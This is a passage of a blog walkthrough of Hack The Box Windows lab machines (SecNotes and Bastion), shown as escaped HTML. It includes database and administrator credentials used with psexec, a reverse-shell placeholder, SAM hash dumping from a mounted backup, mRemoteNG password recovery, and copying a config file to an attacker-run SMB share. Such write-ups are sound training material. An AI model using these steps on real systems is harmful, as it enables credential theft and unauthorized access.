src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This shell couldn&amp;rsquo;t even run systeminfo, so I decided to inspect the website first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server with default setting (user &amp;#39;root&amp;#39; with no password) */&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_SERVER&amp;#39;, &amp;#39;localhost&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_USERNAME&amp;#39;, &amp;#39;secnotes&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_PASSWORD&amp;#39;, &amp;#39;q8N#9Eos%JinE57tke72&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//define(&amp;#39;DB_USERNAME&amp;#39;, &amp;#39;root&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//define(&amp;#39;DB_PASSWORD&amp;#39;, &amp;#39;qwer1234QWER!@#$&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;define(&amp;#39;DB_NAME&amp;#39;, &amp;#39;secnotes&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Database credentials. I might need to set up a tunnel and expose mysql through it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -h 127.0.0.1 -P 6000 -u secnotes -p&amp;#39;q8N#9Eos%JinE57tke72&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, I connected successfully. Unfortunately, root couldn&amp;rsquo;t connect, and there was nothing useful in the database.&lt;/p&gt;&#10;&lt;p&gt;I kept digging through the directories. Oddly, when I found the flag, I also noticed a bash.lnk on the Desktop pointing to bash.exe under system. That was strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t throw an error either, which meant it was available and present in the environment variables. I tried plenty of commands, but none would execute. Then I found an ubuntu.zip archive in the root directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found Ubuntu inside Distros, so I started searching the directory structure to figure out what it was.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxBlockMap.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxManifest.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxMetadata&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AppxSignature.p7x&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Assets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;images&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install.tar.gz&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;resources.pri&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ubuntu.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[Content_Types].xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This suggested it was a subsystem. I started looking for ways to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./ubuntun1604.exe config --default-user root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsl python -c &amp;#39;BIND_OR_REVERSE_SHELL_PYTHON_CODE&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bash.exe may also be located at C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Alternatively, explore the WSL filesystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For the first approach, I couldn&amp;rsquo;t find wsl anywhere, and running ./ubuntun.exe config &amp;ndash;default-user root just hung.&lt;/p&gt;&#10;&lt;p&gt;The second approach used bash.exe.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, it did absolutely nothing.&lt;/p&gt;&#10;&lt;p&gt;With the third approach, I could locate the actual directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first thing I did was look for root&amp;rsquo;s history. After all, I had worked on plenty of linux boxes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The smb connection gave me the credentials, so this was easy: I just had to connect.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/psexec.py administrator:&amp;#39;u6!4ZwgwOM#^OBf#Nwnh&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/smbexec.py administrator:&amp;#39;u6!4ZwgwOM#^OBf#Nwnh&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Overall, this one felt pretty manageable. The part I was less comfortable with was windows privilege escalation.&lt;/p&gt;&#10;&lt;h2 id="10bastion"&gt;&lt;a href="#10bastion" class="header-anchor"&gt;&lt;/a&gt;10.Bastion&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At first glance, if SMB had nothing to offer, I was going to be completely stuck.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Luckily, anonymous access was enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -N //10.10.10.134/Backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0207.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I downloaded everything, but one file brought me to a standstill. The hint said not to download everything because it would be very slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the file. It was still growing and was simply too large. Following the hint, I stopped downloading it and deleted what I had because it was taking up too much space.&lt;/p&gt;&#10;&lt;p&gt;At this point, judging by the services that were open, I was probably expected to find the username and password myself. I couldn&amp;rsquo;t think of any other way this box could be solved.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used this method to mount the smaller vhd file, but it was completely empty when I opened it. There was probably something in the larger vhd file, but downloading it was far too slow. Maybe mounting it over the SMB service would work better?&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a blog post whose IP and method were exactly the same as the write-up, so I kept looking elsewhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog used the same method as the previous one and was also written specifically for this lab.&lt;/p&gt;&#10;&lt;p&gt;I searched for quite a while after that, but almost everything I found was about this particular lab. If this box had not already been released and I had needed to figure it out on my own, it probably would have been pretty difficult. The idea itself is easy to understand. I had already spent ages trying to download the file, but it was huge and the connection was slow. The method uses the CIFS SMB file share to mount the vhd from the target&amp;rsquo;s SMB service directly on the local machine. That way, files are loaded only as I access them locally. In practice, though, I still didn&amp;rsquo;t know how to do it. I had already figured out how the next stage would probably work: pull out SAM or HTDS.dit, use PTH or winrm, and get a shell. I couldn&amp;rsquo;t see any other route unless the password had been changed and I needed to hunt down the SSH password instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get install libguestfs-tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get install cifs-utils&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t cifs //10.10.10.134/backups /mnt/remote -o rw&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/&amp;#39;Backup 2019-02-22 124351&amp;#39;/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I needed to copy out the SAM and SYSTEM files from C:\Windows\System32\config and rename them sam.hiv and system.hiv.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then it was just a matter of decrypting them. My Kali installation didn&amp;rsquo;t have this py file, so I moved them to Windows and decrypted them there.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Cleaning up...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The Administrator password was empty, so I would most likely need to get back in and escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried logging in many different ways, but authentication kept failing. After trying for a long time, I finally remembered that port 22 was still sitting there unused.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully. I&amp;rsquo;m skipping a long stretch here where I kept digging through files and found nothing. Later, I thought about trying something like sudo su, but that obviously wasn&amp;rsquo;t going to work and wasn&amp;rsquo;t realistic. Then it suddenly clicked: since I was using SSH now, could I connect with a public key? After all, SAM told me this password was empty, although that did not necessarily mean it really was. So I started looking for a public key.&lt;/p&gt;&#10;&lt;p&gt;I found the configuration file here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But PubkeyAuthentication was commented out, so it seemed that public-key login was not allowed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At the very bottom, though, I found what looked like a public-key setting for the administrators match group?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I had absolutely no permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to the mount and searched through the backup again. I hadn&amp;rsquo;t tried looking through the ssh directory there before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there either.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck at this point. Instead of looking at a write-up, I checked the next-step hint on Hack The Box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So there was another remote connection tool?&lt;/p&gt;&#10;&lt;p&gt;I found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following the hint:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mRemoteNG/mRemoteNG/issues/1963" target="_blank" rel="noopener"&#10; &gt;https://github.com/mRemoteNG/mRemoteNG/issues/1963&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;password&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://www.errno.fr/mRemoteNG.html" target="_blank" rel="noopener"&#10; &gt;https://www.errno.fr/mRemoteNG.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gquere/mRemoteNG_password_decrypt/" target="_blank" rel="noopener"&#10; &gt;https://github.com/gquere/mRemoteNG_password_decrypt/&lt;/a&gt; # decryption script&lt;/p&gt;&#10;&lt;p&gt;Copying it directly would mess up the formatting, so I transferred it out over SMB.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\confCons.xml \\10.10.16.29\kali\confCons.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 